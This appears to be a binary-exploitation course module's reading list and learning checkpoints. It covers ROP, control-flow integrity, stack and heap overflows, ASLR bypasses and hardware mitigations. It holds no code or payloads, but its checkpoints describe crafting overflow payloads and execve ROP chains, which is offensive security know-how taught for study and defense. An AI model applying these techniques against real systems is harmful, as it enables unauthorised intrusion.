📜The Geometry of Innocent Flesh on the Bone — Return-Oriented Programming (Shacham, 2007)
paperfree

The original academic paper formalizing ROP. Proves Turing completeness of gadget sets in x86. Essential reading for anyone who wants to understand ROP rigorously.

📜Control-Flow Integrity (Abadi et al., 2005)
paperfree

The seminal CFI paper from Microsoft Research. Defines the CFI security policy and the original enforcement mechanism.

▶LiveOverflow: Binary Exploitation / Memory Corruption
videofree

Excellent hands-on YouTube playlist covering stack overflows, format strings, and heap exploitation with live gdb demonstrations.

⚡pwn.college — Binary Exploitation Module
interactivefree

Browser-accessible CTF-style labs from ASU covering every topic in this module with automated grading. Among the best free hands-on resources available.

📕The Art of Exploitation, 2nd ed.
bookpaidJon Erickson, No Starch Press

Jon Erickson's book provides the most accessible deep-dive into shellcoding, stack and heap overflows, and format strings, with a custom live CD for a safe lab environment.

📄pwntools documentation
docsfree

The standard CTF/exploit development library for Python. Essential for implementing exercises in this module.

📄Intel Control-Flow Enforcement Technology Preview
docsfree

Intel's technical overview of CET (shadow stacks and IBT), the hardware CFI mechanism deployed since Tiger Lake.

Checkpoints — you can now…

  • ✓You can draw the exact x86-64 stack frame layout for a function call, labeling return address, saved rbp, canary position, and local variables with their relative offsets from rbp.
  • ✓You can explain, byte by byte, how a classic stack buffer overflow overwrites the return address, and craft a payload (padding + correct canary + new return address) for a given buffer size and offset.
  • ✓You can describe the three-part information-leak → ROP chain → shell exploit pattern, and explain precisely which mitigation each stage defeats.
  • ✓You can explain why NX/DEP does not stop ROP (existing code is already executable), and construct a minimal 3-gadget ROP chain for execve on x86-64 given gadget addresses.
  • ✓You can identify at least three ways ASLR can be bypassed (info leak, brute force on 32-bit, partial overwrite), and explain why PIE is required for ASLR to protect the code segment.
  • ✓You can distinguish between forward-edge CFI (checks indirect call targets) and backward-edge CFI (shadow stacks protect return addresses), and give an example of an attack that bypasses each in isolation.
  • ✓You can read a CVE advisory for a memory-corruption bug, classify it by bug class (stack overflow, heap overflow, integer overflow, UAF, format string), identify the exploitation technique, and explain which deployed mitigations would or would not have blocked it.